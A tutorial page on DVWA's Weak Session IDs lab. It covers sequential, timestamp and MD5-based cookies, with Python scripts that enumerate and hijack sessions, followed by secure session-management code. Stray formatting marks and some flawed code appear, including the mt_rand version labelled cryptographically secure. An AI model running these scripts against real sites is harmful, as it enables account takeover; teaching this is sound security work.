Skip to main content

Weak Session IDs

Weak or predictable session IDs are a critical security vulnerability that allows attackers to hijack user sessions without needing credentials. Session IDs should be cryptographically random and unpredictable - when they’re not, attackers can guess or calculate valid session tokens and impersonate legitimate users.

What are Session IDs?

Session IDs are tokens that web applications use to maintain state and identify users across multiple HTTP requests. After successful authentication, the server generates a session ID and sends it to the client, typically as a cookie:
Set-Cookie: PHPSESSID=abc123xyz789; HttpOnly; Secure
```text

On subsequent requests, the client sends this session ID back:

```http
Cookie: PHPSESSID=abc123xyz789
The server uses this ID to retrieve the user’s session data and maintain their authenticated state.

Why Session IDs Matter

Session IDs are often the only thing protecting authenticated sessions:
  • No password needed after login
  • Complete account access with valid session ID
  • Can perform any action the user can perform
  • May persist for hours or days

Attack Scenarios

If an attacker can predict or guess session IDs:
  1. Session Hijacking: Take over active user sessions
  2. Session Fixation: Force users to use attacker-controlled session IDs
  3. Privilege Escalation: Hijack admin sessions
  4. Account Takeover: Full access to user accounts

How the Attack Works

The DVWA Weak Session IDs module demonstrates different session ID generation methods, each with varying degrees of security. The page sets a cookie called dvwaSession each time a button is clicked:
<form method="post">
    <input type="submit" value="Generate" />
</form>
```bash

### Attack Methodology

1. **Collection Phase**: Generate multiple session IDs
2. **Analysis Phase**: Analyze for patterns or predictability
3. **Prediction Phase**: Calculate or guess next session IDs
4. **Exploitation Phase**: Use predicted IDs to hijack sessions

## Security Level Breakdown

### Low Security

**Vulnerability**: Sequential integer session IDs.

```php
<?php
$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>
How it works:
  • Starts at 0 (or wherever the counter is)
  • Increments by 1 for each new session
  • Completely predictable
Example session IDs:
1
2
3
4
5
Exploitation: This is trivially exploitable. If your session ID is 1523, other active sessions are likely 1520, 1521, 1522, 1524, 1525, etc.
import requests

# Your session ID
current_id = 1523

# Try nearby session IDs
for offset in range(-10, 10):
    target_id = current_id + offset
    cookies = {'dvwaSession': str(target_id)}
    
    response = requests.get('http://target/protected_page', cookies=cookies)
    
    if 'Welcome' in response.text:
        print(f"[+] Valid session found: {target_id}")
        print(f"    User: {extract_username(response.text)}")
```bash

**Real-world impact**:
- Attacker creates account, gets session ID 5000
- Tries session IDs 4990-5010
- Hijacks all active sessions in that range
- Full account takeover for multiple users

**Weaknesses**:
- Completely predictable
- Sequential generation
- No randomness whatsoever
- Trivial to enumerate all valid sessions
- No entropy

### Medium Security

**Vulnerability**: Unix timestamp as session ID.

```php
<?php
$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = time();
    setcookie("dvwaSession", $cookie_value);
}
?>
How it works:
  • Uses time() function (seconds since Unix epoch)
  • Current timestamp becomes session ID
  • Appears random but is actually predictable
Example session IDs:
1709654321  # 2024-03-05 12:00:00
1709654322  # 2024-03-05 12:00:01  
1709654323  # 2024-03-05 12:00:02
1709654410  # 2024-03-05 12:01:30
Exploitation: Timestamps are predictable based on when users log in:
import requests
import time

# Current time
current_time = int(time.time())

# Sessions created in last hour
for offset in range(0, 3600):
    timestamp = current_time - offset
    cookies = {'dvwaSession': str(timestamp)}
    
    response = requests.get('http://target/protected_page', cookies=cookies)
    
    if 'Welcome' in response.text:
        login_time = time.strftime('%Y-%m-%d %H:%M:%S', 
                                   time.localtime(timestamp))
        print(f"[+] Valid session: {timestamp}")
        print(f"    Login time: {login_time}")
```bash

**Advanced exploitation**:

```python
# If you know user logged in around 2:30 PM today
target_time = datetime(2024, 3, 5, 14, 30, 0)
timestamp = int(target_time.timestamp())

# Try +/- 5 minutes (600 seconds)
for offset in range(-300, 300):
    test_id = timestamp + offset
    # Try session...
Weaknesses:
  • Predictable based on time
  • Low entropy (1 second granularity)
  • Easy to brute force small time windows
  • Attacker can synchronize with server time
  • No cryptographic randomness

High Security

Vulnerability: MD5 hash of sequential number.
<?php
$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id_high'])) {
        $_SESSION['last_session_id_high'] = 0;
    }
    $_SESSION['last_session_id_high']++;
    $cookie_value = md5($_SESSION['last_session_id_high']);
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", 
              $_SERVER['HTTP_HOST'], false, false);
}
?>
```text

**How it works**:
- Increments counter like low security
- Hashes the counter with MD5
- Looks random but is based on predictable input
- Adds cookie security parameters (path, domain)

**Example session IDs**:
c4ca4238a0b923820dcc509a6f75849b # md5(“1”) c81e728d9d4c2f636f067f89cc14862c # md5(“2”) eccbc87e4b5ce2fe28308fd9f2a7baf3 # md5(“3”) a87ff679a2f3e71d9181a67b7542122c # md5(“4”) e4da3b7fbbce2345d7772b0674a318d5 # md5(“5”)

**Exploitation**:

While MD5 makes session IDs look random, the predictable input makes them vulnerable:

```python
import hashlib
import requests

# Pre-compute MD5 hashes of sequential numbers
session_map = {}
for i in range(1, 10000):
    session_id = hashlib.md5(str(i).encode()).hexdigest()
    session_map[session_id] = i

# Your session ID
your_session = "e4da3b7fbbce2345d7772b0674a318d5"

# Find its position
if your_session in session_map:
    your_position = session_map[your_session]
    print(f"Your session is #{your_position}")
    
    # Try nearby sessions
    for offset in range(-10, 10):
        target_pos = your_position + offset
        target_session = hashlib.md5(str(target_pos).encode()).hexdigest()
        
        cookies = {'dvwaSession': target_session}
        response = requests.get('http://target/page', cookies=cookies)
        
        if is_valid_session(response):
            print(f"[+] Hijacked session #{target_pos}: {target_session}")
Pre-computation attack:
# Generate rainbow table for first 100,000 sessions
rainbow_table = {}
for i in range(1, 100000):
    session_id = hashlib.md5(str(i).encode()).hexdigest()
    rainbow_table[session_id] = i

# Save for later use
import pickle
with open('session_rainbow_table.pkl', 'wb') as f:
    pickle.dump(rainbow_table, f)

# Later: instantly reverse any session ID
target_session = "a87ff679a2f3e71d9181a67b7542122c"
if target_session in rainbow_table:
    print(f"Session ID {target_session} is md5({rainbow_table[target_session]})")
```bash

**Additional improvements**:
- Cookie security flags set (domain, path)
- Expiration time (3600 seconds)
- But: `false, false` means NOT Secure, NOT HttpOnly (should be `true, true`)

**Weaknesses**:
- Hashing doesn't add randomness if input is predictable
- MD5 is cryptographically broken
- Sequential input is easily reversed with rainbow table
- Missing HttpOnly and Secure flags
- Still based on incremental counter

### Impossible Security

**Improvement**: Cryptographically secure random session IDs.

```php
<?php
$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    $cookie_value = sha1(mt_rand() . time() . "Impossible");
    setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", 
              $_SERVER['HTTP_HOST'], true, true);
}
?>
How it works:
  • Uses mt_rand() for random number
  • Combines with time() for additional entropy
  • Adds constant string “Impossible”
  • Hashes with SHA1
  • Sets Secure and HttpOnly flags
Example session IDs:
3f7d8c4e9a1b2c5d6e8f0a1b2c3d4e5f6a7b8c9d
f8e7d6c5b4a39281706f5e4d3c2b1a09e8d7c6b5
1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a0b
Security improvements:
  1. Random component: mt_rand() adds unpredictability
  2. Time component: Additional entropy
  3. Salt: “Impossible” string prevents simple reverse lookups
  4. SHA1 hash: Stronger than MD5 (though SHA256 would be better)
  5. Secure flag: Cookie only sent over HTTPS
  6. HttpOnly flag: JavaScript cannot access cookie
  7. Expiration: Cookie expires after 1 hour
  8. Path/Domain restriction: Limits cookie scope
Remaining improvements needed: While much better, this implementation could still be improved:
// Better implementation
$cookie_value = bin2hex(random_bytes(32));  // 256 bits of entropy
setcookie(
    "dvwaSession", 
    $cookie_value, 
    [
        'expires' => time() + 3600,
        'path' => '/',
        'domain' => $_SERVER['HTTP_HOST'],
        'secure' => true,      // HTTPS only
        'httponly' => true,    // No JavaScript access
        'samesite' => 'Strict' // CSRF protection
    ]
);
```bash

**Why it's secure**:
- Uses `random_bytes()` - cryptographically secure random number generator (CSPRNG)
- 256 bits of entropy (2^256 possible values)
- Impossible to predict or brute force
- Proper security flags
- SameSite attribute prevents CSRF

## Session Hijacking Techniques

### 1. Session Prediction

```python
def predict_next_session(known_sessions):
    """Predict next session ID based on pattern"""
    
    # For sequential
    if all(isinstance(s, int) for s in known_sessions):
        return max(known_sessions) + 1
    
    # For timestamp-based
    if all(s > 1000000000 for s in known_sessions):
        return int(time.time())
    
    # For MD5 of sequential
    # Reverse with rainbow table
    for s in known_sessions:
        if s in rainbow_table:
            position = rainbow_table[s]
            next_pos = position + 1
            return md5(next_pos)

2. Session Brute Force

def brute_force_sessions(base_session, range_size=1000):
    """Try session IDs near a known valid one"""
    valid_sessions = []
    
    for offset in range(-range_size, range_size):
        if isinstance(base_session, int):
            test_session = base_session + offset
        elif is_timestamp(base_session):
            test_session = base_session + offset
        else:
            continue
            
        if test_session_validity(test_session):
            valid_sessions.append(test_session)
    
    return valid_sessions
```bash

### 3. Session Analysis

```python
import statistics

def analyze_sessions(session_ids):
    """Analyze session ID generation pattern"""
    
    # Check if numeric
    numeric_ids = []
    for sid in session_ids:
        try:
            numeric_ids.append(int(sid))
        except ValueError:
            pass
    
    if numeric_ids:
        print(f"Numeric session IDs detected")
        print(f"Range: {min(numeric_ids)} - {max(numeric_ids)}")
        print(f"Mean: {statistics.mean(numeric_ids)}")
        
        # Check if sequential
        diffs = [numeric_ids[i+1] - numeric_ids[i] 
                for i in range(len(numeric_ids)-1)]
        print(f"Average increment: {statistics.mean(diffs)}")
        
        if all(d == 1 for d in diffs):
            print("[!] SEQUENTIAL - Highly vulnerable")
        elif all(d < 10 for d in diffs):
            print("[!] NEAR-SEQUENTIAL - Vulnerable")
    
    # Check if timestamps
    current_time = int(time.time())
    timestamp_ids = [sid for sid in numeric_ids 
                    if abs(sid - current_time) < 86400*365]  # Within 1 year
    
    if timestamp_ids:
        print("[!] TIMESTAMP-BASED - Predictable")
        for tid in timestamp_ids:
            print(f"    {tid} = {time.ctime(tid)}")
    
    # Check if MD5 hashes
    if all(len(str(sid)) == 32 for sid in session_ids):
        print("[*] Appears to be MD5 hashes")
        # Try reversing with rainbow table
        for sid in session_ids:
            if sid in rainbow_table:
                print(f"[!] {sid} = md5({rainbow_table[sid]})")

Secure Session Management

1. Generate Cryptographically Secure IDs

// PHP 7+
$sessionId = bin2hex(random_bytes(32));  // 64 hex characters, 256 bits

// Older PHP with openssl
$sessionId = bin2hex(openssl_random_pseudo_bytes(32));

// Set secure cookie
setcookie('session_id', $sessionId, [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,      // HTTPS only
    'httponly' => true,    // No JS access  
    'samesite' => 'Strict' // CSRF protection
]);
```bash

```python
# Python
import secrets

session_id = secrets.token_urlsafe(32)  # URL-safe random string
# or
session_id = secrets.token_hex(32)      # Hex random string
// Node.js
const crypto = require('crypto');
const sessionId = crypto.randomBytes(32).toString('hex');
```sql

### 2. Session Storage Best Practices

```php
class SecureSessionManager {
    private $sessionLifetime = 3600; // 1 hour
    
    public function create($userId) {
        // Generate secure session ID
        $sessionId = bin2hex(random_bytes(32));
        
        // Store session data
        $sessionData = [
            'user_id' => $userId,
            'created_at' => time(),
            'last_activity' => time(),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT']
        ];
        
        // Store in database (not just file system)
        $this->storeSession($sessionId, $sessionData);
        
        // Set secure cookie
        $this->setSessionCookie($sessionId);
        
        return $sessionId;
    }
    
    public function validate($sessionId) {
        $session = $this->getSession($sessionId);
        
        if (!$session) {
            return false;
        }
        
        // Check expiration
        if (time() - $session['last_activity'] > $this->sessionLifetime) {
            $this->destroy($sessionId);
            return false;
        }
        
        // Check IP address (optional, can break with mobile users)
        if ($session['ip_address'] !== $_SERVER['REMOTE_ADDR']) {
            $this->logSuspiciousActivity($sessionId, 'IP mismatch');
            // Optionally: destroy session
        }
        
        // Check user agent
        if ($session['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
            $this->logSuspiciousActivity($sessionId, 'User agent mismatch');
        }
        
        // Update last activity
        $this->updateLastActivity($sessionId);
        
        return true;
    }
    
    public function regenerate($oldSessionId) {
        // Get old session data
        $sessionData = $this->getSession($oldSessionId);
        
        // Generate new session ID
        $newSessionId = bin2hex(random_bytes(32));
        
        // Copy data to new session
        $this->storeSession($newSessionId, $sessionData);
        
        // Destroy old session
        $this->destroy($oldSessionId);
        
        // Update cookie
        $this->setSessionCookie($newSessionId);
        
        return $newSessionId;
    }
}

3. Session Regeneration

// Regenerate session ID on privilege change
function login($username, $password) {
    if (validateCredentials($username, $password)) {
        // Destroy old session
        session_destroy();
        
        // Start new session with new ID
        session_start();
        session_regenerate_id(true);
        
        // Set user data
        $_SESSION['user_id'] = getUserId($username);
        $_SESSION['username'] = $username;
        $_SESSION['login_time'] = time();
        
        return true;
    }
    return false;
}

// Regenerate periodically
if (time() - $_SESSION['last_regenerate'] > 300) { // Every 5 minutes
    session_regenerate_id(true);
    $_SESSION['last_regenerate'] = time();
}
```bash

### 4. Additional Security Measures

```php
// Session timeout
if (isset($_SESSION['last_activity']) && 
    (time() - $_SESSION['last_activity'] > 1800)) {
    session_destroy();
    header('Location: /login?timeout=1');
    exit;
}
$_SESSION['last_activity'] = time();

// Absolute timeout (even if active)
if (isset($_SESSION['created']) && 
    (time() - $_SESSION['created'] > 7200)) {
    session_destroy();
    header('Location: /login?timeout=1');
    exit;
}

// Fingerprinting (detect session hijacking)
function generateFingerprint() {
    return hash('sha256', 
        $_SERVER['HTTP_USER_AGENT'] . 
        $_SERVER['HTTP_ACCEPT_LANGUAGE'] .
        $_SERVER['HTTP_ACCEPT_ENCODING']
    );
}

if (!isset($_SESSION['fingerprint'])) {
    $_SESSION['fingerprint'] = generateFingerprint();
} else if ($_SESSION['fingerprint'] !== generateFingerprint()) {
    // Possible session hijacking
    session_destroy();
    logSecurityEvent('Session hijacking attempt detected');
    header('Location: /login?security_alert=1');
    exit;
}

Testing for Weak Session IDs

1. Collection and Analysis

import requests
import hashlib
import time

def collect_session_ids(url, count=50):
    """Collect multiple session IDs"""
    sessions = []
    
    for i in range(count):
        response = requests.get(url)
        if 'Set-Cookie' in response.headers:
            cookie = response.headers['Set-Cookie']
            # Extract session ID
            session_id = extract_session_id(cookie)
            sessions.append({
                'id': session_id,
                'timestamp': time.time()
            })
        time.sleep(0.1)  # Small delay
    
    return sessions

def analyze_randomness(sessions):
    """Check randomness of session IDs"""
    
    # Check length consistency
    lengths = [len(s['id']) for s in sessions]
    if len(set(lengths)) == 1:
        print(f"[*] Consistent length: {lengths[0]} characters")
    
    # Check character set
    all_chars = set(''.join(s['id'] for s in sessions))
    if all_chars.isdigit():
        print("[!] NUMERIC ONLY - Likely weak")
    elif all(c in '0123456789abcdef' for c in all_chars):
        print("[*] Hexadecimal - Could be hash or secure random")
    
    # Statistical analysis
    if all(s['id'].isdigit() for s in sessions):
        numeric_ids = sorted([int(s['id']) for s in sessions])
        differences = [numeric_ids[i+1] - numeric_ids[i] 
                      for i in range(len(numeric_ids)-1)]
        
        avg_diff = sum(differences) / len(differences)
        print(f"[*] Average difference: {avg_diff}")
        
        if avg_diff < 10:
            print("[!] SEQUENTIAL - Highly vulnerable!")
```bash

### 2. Burp Suite Testing

1. **Sequencer Tool**:
   - Capture session token
   - Send to Sequencer
   - Configure token location
   - Collect 20,000+ tokens
   - Analyze randomness
   - Review entropy analysis

2. **Expected Results**:
   - **Good**: High entropy, passes randomness tests
   - **Bad**: Low entropy, predictable patterns, fails tests

### 3. Manual Pattern Detection

```bash
# Collect sessions
for i in {1..20}; do
    curl -c - http://target/login | grep session_id
done

# Example output:
set-cookie: session_id=1
set-cookie: session_id=2  
set-cookie: session_id=3
# VULNERABLE!

# Or:
set-cookie: session_id=1709654321
set-cookie: session_id=1709654322
set-cookie: session_id=1709654323  
# TIMESTAMPS - VULNERABLE!

Best Practices Summary

  1. Use cryptographically secure random number generators
    • PHP: random_bytes(), random_int()
    • Python: secrets module
    • Node.js: crypto.randomBytes()
  2. Ensure sufficient entropy
    • Minimum 128 bits (16 bytes)
    • Recommended 256 bits (32 bytes)
  3. Set proper cookie flags
    • Secure: HTTPS only
    • HttpOnly: No JavaScript access
    • SameSite: CSRF protection
  4. Implement session timeouts
    • Idle timeout (15-30 minutes)
    • Absolute timeout (2-8 hours)
  5. Regenerate session IDs
    • On login
    • On privilege change
    • Periodically during session
  6. Validate session integrity
    • Check IP address (carefully)
    • Verify user agent
    • Session fingerprinting
  7. Secure session storage
    • Database storage (not just files)
    • Encrypted session data
    • Secure session cleanup
  8. Monitor for attacks
    • Log session creation/destruction
    • Detect unusual patterns
    • Alert on suspicious activity
  9. Never use:
    • Sequential numbers
    • Timestamps alone
    • Predictable patterns
    • Weak hashing of predictable inputs
    • MD5 or SHA1 for security purposes
  10. Additional protections
    • Multi-factor authentication
    • Device fingerprinting
    • Geolocation checks
    • Anomaly detection

References

Build docs developers (and LLMs) love